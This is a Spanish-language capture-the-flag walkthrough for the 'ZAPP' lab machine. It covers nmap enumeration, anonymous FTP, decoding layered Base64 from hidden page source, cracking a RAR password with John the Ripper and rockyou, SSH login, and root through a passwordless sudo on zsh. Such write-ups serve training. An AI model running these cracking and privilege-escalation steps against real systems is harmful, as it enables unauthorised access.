Resolución del CTF ZAPP
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para saber cuáles están activos.
sudo nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100Los parámetros utilizados son:
- -p-: Escaneo de todos los puertos (65535)
- –open: Solo muestra puertos abiertos
- -sCV: Combina -sC (scripts por defecto) y -sV (detección de versiones)
- -Pn: Deshabilitamos el descubrimiento de host mediante ping
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 28 Oct 29 21:59 login.txt
|_-rw-r--r-- 1 0 0 65 Oct 29 22:23 secret.txt
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.65 ((Debian))
|_http-title: zappskred - CTF ChallengeNos encontramos con tres puertos abiertos:
- Puerto 21 con FTP vsftpd con login anónimo permitido y dos archivos visibles
- Puerto 22 con SSH OpenSSH 8.4p1
- Puerto 80 con un servidor web Apache 2.4.65 con el título «zappskred»
Servicio FTP
El escaneo reveló que el servidor FTP permite conexión anónima. Nos conectamos:
ftp 192.168.0.100Contenido de login.txt:
puerto
4444
coffee
GoodLuckContenido de secret.txt:
0jO cOn 31 c4fe 813n p23p424dO, 4 v3c35 14 pista 357a 3n 14 7424Exploración Web
Accedemos al servidor web navegando a http://192.168.0.100 y nos encontramos con una página con el título zappskred y una imagen con el texto the funny coffee.
Análisis del Código Fuente
Inspeccionamos el código fuente de la página y encontramos una línea oculta dentro de un div con display:none que contiene una cadena en Base64.
Decodificación Base64 Múltiple
La cadena parece estar codificada múltiples veces en Base64. Vamos a decodificarla:
echo "VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=" | base64 -dEl resultado es otra cadena en Base64, así que repetimos el proceso.
Para automatizar este proceso, podemos usar el siguiente script en bash:
cadena="VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo="
while echo "$cadena" | base64 -d &>/dev/null; do
cadena=$(echo "$cadena" | base64 -d)
done
echo "$cadena"Después de decodificar 4 veces obtenemos el resultado: cuatrocuatroveces
Este resultado parece ser un directorio en el servidor web.
Exploración del Directorio Oculto
Accedemos a http://192.168.0.100/cuatrocuatroveces/ y encontramos un archivo llamado Sup3rP4ss.rar disponible para descarga.
Descargamos el archivo:
wget http://192.168.0.100/cuatrocuatroveces/Sup3rP4ss.rarAl intentar descomprimirlo, nos solicita una contraseña que desconocemos.
Fuerza Bruta sobre el Archivo RAR
Para hacer fuerza bruta sobre el RAR, primero extraemos su hash con rar2john:
rar2john Sup3rP4ss.rar > rar.hashUsamos John The Ripper con el diccionario rockyou.txt:
john --wordlist=/usr/share/wordlists/rockyou.txt rar.hashUna vez obtenida la contraseña, descomprimimos el archivo:
7z x Sup3rP4ss.rarContenido del fichero:
Intenta probar con más >> 3spuM4Acceso SSH
Después de analizar todas las pistas, recordamos que el título de la página web era zappskred, que podría ser el nombre de usuario.
Combinamos:
- Usuario: zappskred
- Contraseña: 3spuM4
Intentamos conectarnos por SSH:
Y obtenemos acceso al sistema. Una vez dentro, encontramos la primera flag en el directorio home del usuario.
Escalada de Privilegios
Verificamos qué comandos podemos ejecutar como root:
sudo -lVemos que podemos ejecutar /bin/zsh como root sin necesidad de contraseña.
Al consultar GTFOBins vemos que si tenemos permiso sudo, simplemente ejecutamos:
sudo /bin/zshY nos convertimos en root.
